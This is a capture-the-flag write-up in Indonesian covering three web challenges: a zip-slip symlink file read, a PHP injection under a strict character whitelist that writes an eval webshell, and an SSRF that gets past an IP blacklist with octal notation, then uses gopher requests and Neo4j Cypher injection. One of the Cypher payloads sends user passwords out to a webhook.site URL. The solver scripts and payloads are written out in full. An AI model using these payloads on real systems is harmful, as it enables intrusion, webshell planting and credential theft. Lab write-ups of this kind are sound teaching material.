Try โ€‚โ€‰HackMD

National Cyber Week 2023 Quals Writeup

Zip Sleep

I have recently created a web app that provides online ZIP extraction functionality to help people avoid malware disguised as a ZIP file ๐Ÿ—ฟ

http://103.145.226.206:7865

Mirror URL: http://103.145.226.209:7865

Author: Maskirovka
View Hint

This might be off-topic, but yesterday I saw a weird symbol on the ceiling of my house while I was asleep. Could it be linked to something?

Recon

Pada challenge ini kita diberikan sebuah website yang memiliki funsionalitas untuk meng-unzip file.

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More โ†’

Tetapi disini kita hanya dapat memberikan zip yang didalamnya terdapat file ber-ekstensi ".kipak".

Dilihat dari Judul challenge "Zip Sleep" saya menebak bahwa challenge ini ada hubungannya dengan vulnerability "zip slip".

Sekarang mari kita test apakah benar pada challenge ini kita bisa meng-eksploitasi vulnerability zip slip dengan cara membuat zip dengan perintah berikut:

ln -s "/etc/passwd" some.kipak && zip -y some.zip some.kipak

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More โ†’

Lalu upload zip tersebut:

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More โ†’

Maka kita akan mendapatkan link seperti berikut:
Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More โ†’

Setelah kita klik, ternyata benar challenge ini vulnerable dengan zip slip:
Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More โ†’

Exploitation

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More โ†’

Disini jika kita melihat secara teliti ke source code front end pada halama utama challenge pada gambar diatas, kita akan melihat bahwa "mail.txt" merupakan data yang mungkin penting untuk kita dapat menyelesaikan challenge ini.

Karena email biasanya terdapat di folder "/var/mail/" pada os linux, maka saya mencoba untuk membaca "/var/mail/mail.txt" dengan menggunakan zipslip. Berikut command untuk zipslipnya:

rm some* && ln -s "/var/mail/mail.txt" some.kipak && zip -y some.zip some.kipak

Setelah itu kita upload lagi file "some.zip" yang tadi kita upload, maka kita akan mendapatkan flagnya seperti berikut:

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More โ†’

Solver

import re import httpx URL = "http://103.145.226.206:7865/" # URL = "http://localhost:8000/" class BaseAPI: def __init__(self, url=URL) -> None: self.c = httpx.Client(base_url=url) class API(BaseAPI): def upload(s, file): return s.c.post("upload.php", files={"zipFile": file}, data={"submit": True}) def getfilename(name): return re.search(r"(?<=>uploads/).*?(?=</a>)", name).group(0) if __name__ == "__main__": api = API() res = api.upload(open("some.zip", "rb")) print(res.text) filename = getfilename(res.text) res = api.c.get("/uploads/"+filename) print(res.text)

run:

rm some* && ln -s "/var/mail/mail.txt" some.kipak && zip -y some.zip some.kipak && python3 solve.py

Sapiderman

Everyone must have watched Sapiderman, yes that's me.

I was born on 10th of August 2001 and recently I created a fanpage website after a long time. Why don't you check it out! btw, my birthday is kinda important tho. :)

Sincerenly, Your Friendly Neighbourhood Sapiderman.

Web: http://103.145.226.209:55213

Mirror: http://103.145.226.206:55213/

Author: Arkoov

Recon

Pada challenge ini kita akan diberikan website bertema chibi Sepiderman. Saat kita inspect element ke cookie, kita akan melihat bahwa disana terdapat session yang di encode menggunakan base64:

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More โ†’

Jika kita decode dari base64 maka hasilnya akan seperti ini:

Tzo0OiJVZGFuIjoyOntkOjE2OiJveXRoYXdobXRobHlod29hIjtkOjU6Ikd1YWRzIjtkOjIyOiJwYW55cm9ldG5zd2hzaXRtYWZ0bm9hIjtkOjg6IjMxMTEyMDIzIjt9

decode:

O:4:"Udan":2:{d:16:"oythawhmthlyhwoa";d:5:"Guads";d:22:"panyroetnswhsitmaftnoa";d:8:"31112023";}

Ketika kita pergi ke path "/robot.txt" maka akan muncul list dissalow seperti berikut:

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More โ†’

Dimana disana terdapat path "spiderman.php" dan "/private/properties.html". Ketika kita buka maka akan muncul tampilan seperti berikut:

/private/properties.html

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More โ†’

Untuk spider.php kita akan teredirect ke halaman utama ketika mengakses path tersebut. Tetapi disini anehnya ketika saya melakukan tamper pada session cookie menjadi seperti gambar dibawah, dimana semua string saya jadikan empty maka kita akan dapat mengakses spider.php.

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More โ†’

Berikut tampilan dari spider.php:

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More โ†’

Pada halaman tersebut terdapat form yang dimana disana kita bisa menginputkan code php, tetapi terdapat restriksi yang cukup strict pada form tersebut. Berikut whitelist yang sudah saya ketahui dari hasil fuzzing:

0123456789befghijklmnopqrtuvwxyBEFGHIJKLMNOPQRTUVWXY!#%&()*+,-:;<=>?@[\]^{|}~

Dari char tersebut kita dapat melakukan call pada fungsi "phpinfo();"

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More โ†’

Disini untuk mengetaui fungsi apa saja yang bisa kita panggil saya melakukan fuzzing menggunakan script berikut:

<?php

function getCallableFunctions($charSet) {
    $callableFunctions = [];

    $allFunctions = get_defined_functions()['internal'];

    foreach ($allFunctions as $function) {
        // Check if all characters in the function name are in the character set
        if (ctype_alnum(str_replace('_', '', $function)) && strspn($function, $charSet) === strlen($function)) {
            $callableFunctions[] = $function;
        }
    }

    return $callableFunctions;
}

$charSet = '0123456789befghijklmnopqrtuvwxyBEFGHIJKLMNOPQRTUVWXY!#%&()*+,-:;<=>?@[\]^{|}~';

// Get the list of callable functions
$callableFunctions = getCallableFunctions($charSet);

// Display the results
echo "Callable functions containing the specified characters:\n";
foreach ($callableFunctions as $function) {
    echo $function . "\n";
}
?>

Hasilnya akan seperti berikut:

image

Dari hasil fuzzing diatas terdapat beberapa fungsi untuk melakukan write yaitu "fwrite" dan "fopen", dimana dengan fungsi itu kita bisa melakukan write file php untuk mendapatkan Code Execution tanpa restriksi.

Disini karna kita tidak dapat menuliskan tanda petik satu dan dua, kita harus membypassnya menggunakan hex2bin.

image

Tetapi harus diangat bahwa kita tidak dapat menuliskan huruf hex selain decimal, oleh karena itu kita menggunakan teknik xor seperti berikut untuk mendapatkan character yang ingin kita cari:

image

Karna akan terjadi integer error jika kita memberikan integer terlalu besar. Maka kita bisa menggunakan "join" untuk melakukan join atara string.

image

Kita bisa menggunakan payload berikut untuk membuat file "PPPPP.php" yang akan berisikan shell kita:

fwrite(fopen(hex2bin(414141414138706870)^hex2bin(111111111116000000),hex2bin(77)),join(null,[hex2bin(28292975)^hex2bin(14161410),hex2bin(66717838)^hex2bin(10101410),hex2bin(34495755)^hex2bin(10161010),hex2bin(44493768)^hex2bin(10121010),hex2bin(374939)^hex2bin(101410),hex2bin(29)^hex2bin(12)]));

Payload tersebut akan menghasilkan file bernama "PPPPP.php" dengan value "<?=eval($_GET['x']);".

Kita copy paste ke website challenge seperti berikut:

image

Maka ketika kita mengakses "/PPPPP.php" akan muncul seperti berikut:

image

Dari situ kita bisa melakukan list directory menggunakan fungsi "scandir".

image

Bisa dilihat setelah melakukan scandir terdapat folder "Sh3cR3TTTunn3llll" yang dimana disitu terdapat flag.txt.

Jadi untuk mendapatkan flagnya kita bisa menggunakan "echo file_get_contents('Sh3cR3TTTunn3llll/flag.txt');" seperti berikut:

image

Solver

import string
import httpx

URL = "http://103.145.226.209:55213/"
session = "Tzo0OiJVZGFuIjoyOntkOjA6IiI7ZDo1OiJHdWFkcyI7ZDowOiIiO2Q6ODoiMzExMTIwMjMiO30K"


class BaseAPI:
    def __init__(self, url=URL) -> None:
        self.c = httpx.Client(base_url=url, cookies={"session": session})


class API(BaseAPI):
    def code(s, code):
        return s.c.post("/spider.php", data={"code": code})

    def PPPPP(s, code):
        return s.c.get("/PPPPP.php",params={"x": code})


if __name__ == "__main__":
    api = API()
    # available
    # 0123456789befghijklmnopqrtuvwxyBEFGHIJKLMNOPQRTUVWXY!#%&()*+,-:;<=>?@[\]^{|}~
    # for i in string.printable:
    #     res = api.code(i)
    #     if not "Sorry Sir" in res.text:
    #         print(i, end="")
    # php = "706870"
    # PPPPP.php
    # filename = f"hex2bin(414141414138{php})^hex2bin(111111111116000000)"
    # opt = f"hex2bin({b'w'.hex()})"
    # p2 = 'join(null,[hex2bin(28292975)^hex2bin(14161410),hex2bin(66717838)^hex2bin(10101410),hex2bin(34495755)^hex2bin(10161010),hex2bin(44493768)^hex2bin(10121010),hex2bin(374939)^hex2bin(101410),hex2bin(29)^hex2bin(12)])'
    # payload = f"fwrite(fopen({filename},{opt}),{p2});"
    # print(payload)
#     res = api.PPPPP("""

# $directory = './';

# // Get the list of files and directories
# $contents = scandir($directory);

# // Remove '.' and '..' from the list
# $filteredContents = array_diff($contents, array('..', '.'));

# // Output the list
# foreach ($filteredContents as $item) {
#     echo $item . "<br>";
# }
# """)
#     print(res.text)
    res = api.PPPPP("echo file_get_contents('Sh3cR3TTTunn3llll/flag.txt');")
    # print(res.text)

Is It Down Right Now? (beta version)

I've created a website to check your site's availability (sound's cool ikr). Not long after the site was deployed, our employees mentioned that their account had been hacked. But how ??

author: beluga
http://103.185.38.144:48667/

View Hint

My boss keep blaming me that our password got leaked. I mean.. How is that possible? I have blocked every single access to our internal server. Unless it stored as a plainteโ€ฆ OOBs, did i spill to much?

View Hint

Have you heard of cypher injection? I will turn my eyes blind for this hint

Recon

Pada challenge ini kita akan diberikan website yang memiliki fungsionalitas untuk melakukan Server Side Request seperti berikut:

image

Pada website tersebut kita bisa menggunakan schema file untuk membaca file local, jadi disini saya mencoba untuk membaca source codenya terlebih dahulu yang biasanya terdapat di /var/www/html/index.php

image

...snip...
            } else {
                // Block any request to internal administrative services at port 80
                $blacklist = ["172.50.0.3","0254.0062.0000.0003","025414400003","0xac320003","127.0","127.1","172.50","[","]","@"];

                $issafe = 1;
...snip...

Pada source code terdapat sesuatu yang menarik, yaitu terdapat blacklist ip address yang nampaknya merupakan IP address dari internal server, disini kita bisa membypassnya dengan menggunakan octal, contohnya seperti pada gambar berikut:

image

Bisa dilihat bahwa 10 pada ip akan terconver ke 8 dan 062 di ip akan terconver ke 50. Jadi dengan mengakses internal ip seperti ini http://172.062.0.3 kita tidak akan mentrigger blacklist:

image

Dari source code front end internal server yang kita dapatkan ditas, kita bisa melihat bagian yang menarik yaitu form search:

<form class="search-form nav-item nav-link py-0 mx-lg-5" method="POST" action="/search">
    <input class="form-control" type="text" placeholder="search" aria-label="search" name="search">
    <button class="btn btn-outline-success mx-1" type="submit">Search</button>
</form>

Form tersebut melakukan post request ke endpoint /seach dimana dia mengambil input form search sebagai inputan, karna disini kita tidak bisa melakukan post request menggunakan protocol http, disini kita menggunakan protocol lain yaitu gopher yang mensupport raw request. Untuk contoh dari penggunaan protocol gopher kalian bisa melihatnya di halaman hacktrick berikut https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery#gopher .

Disini saya membuat script untuk mempermudah membuat request gopher, berikut script yang saya buat:

from urllib.parse import quote, urljoin
import httpx
from bs4 import BeautifulSoup
import requests
URL = "http://103.185.38.144:48667/"


class BaseAPI:
    def __init__(self, url=URL) -> None:
        self.c = httpx.Client(base_url=url)
        self.s = requests.Session()


class API(BaseAPI):
    def check(s, url):
        return s.c.post("/", data={"url": url})

    def path(self, path):
        return urljoin(str(self.c.base_url), path)

    def __make_raw_post_request(self, path, **kwargs):
        "make raw post request"
        req = requests.Request("POST", self.path(path), **kwargs)
        prep = self.s.prepare_request(req)
        res = '{}\r\n{}\r\n{}\r\n\r\n{}'.format(
            prep.method + ' ' + prep.path_url + ' ' + 'HTTP/1.1',
            'Host: localhost',
            '\r\n'.join('{}: {}'.format(k, v)
                        for k, v in prep.headers.items()),
            prep.body,
        )
        return res

    def __make_ssrf_request(self, path, **kwargs):
        payload = self.__make_raw_post_request(path, **kwargs)
        payload = quote(payload)
        payload = f'gopher://172.062.0.3:80/_{payload}'
        return payload
    def ssrf_to_search(s, search):
        return s.__make_ssrf_request("/search", data={"search":search})


if __name__ == "__main__":
    api = API()
    ssrf = api.ssrf_to_search("beluga")
    print(ssrf)
    res = api.check(ssrf)
    node = BeautifulSoup(res.text, features="html.parser")
    print(node.pre.text)

Hasil search tersebut akan menghasilkan output seperti ini:

image

Karna didalam source code frontend terdapat kata "using python and neo4j" kita mencoba untuk melakukan neo4j cypher injection yang bisa kalian lihat referensinya disini https://book.hacktricks.xyz/pentesting-web/sql-injection/cypher-injection-neo4j .

Exploit

Disini kita bisa menggunakan 2 teknik dalam mengeksploitasi cyper injection ini, yang pertama adalah In Band dan yang kedua adalah Out of Band.

In Band

Pada teknik inband kita perlu menebak prefix query dari neo4j, contohnya seperti berikut:

...snip...
if __name__ == "__main__":
    api = API()
    ssrf = api.ssrf_to_search("' OR 1=1  RETURN n.password as username, n.email as email, n.role as role//")
    print(ssrf)
    res = api.check(ssrf)
    node = BeautifulSoup(res.text, features="html.parser")
    print(node.pre.text)

Dimana karakter "n" tidak diketahui sehingga kita perlu mencarinya dengan melakukan fuzzing.

Output dari injection akan membuat password terlihat di output frontend sebagai berikut:
image

Out of Band

Pada teknik Out of band kita membutuhkan webhook untuk bisa mendapatkan password yang kita inginkan, contohnya sebagai berikut:

...snip...
if __name__ == "__main__":
    api = API()
    ssrf = api.ssrf_to_search("' return 0 as _0 union match (u:Users) LOAD CSV FROM 'https://webhook.site/cc4894b6-cae9-4b2e-944e-d09b52e47041?key=' + u.password as _0 return _0//")
    print(ssrf)
    res = api.check(ssrf)
    node = BeautifulSoup(res.text, features="html.parser")
    print(node.pre.text)

Note: (https://webhook.site/cc4894b6-cae9-4b2e-944e-d09b52e47041) bisa kalian ganti menggunakan url webhook kalian.

Jika kita run maka kita akan mendapatkan request yang berisi flagnya di dalam webhook kita seperti berikut:

image

Special Thanks

Untuk writeup challenge ini saya berterimakasih kepada author mas Yudistira Arya dan teman saya Bengsky karna sudah membantu saya dalam pembuatan writeup ini pada bagian exploit dan juga POC :smiley_cat: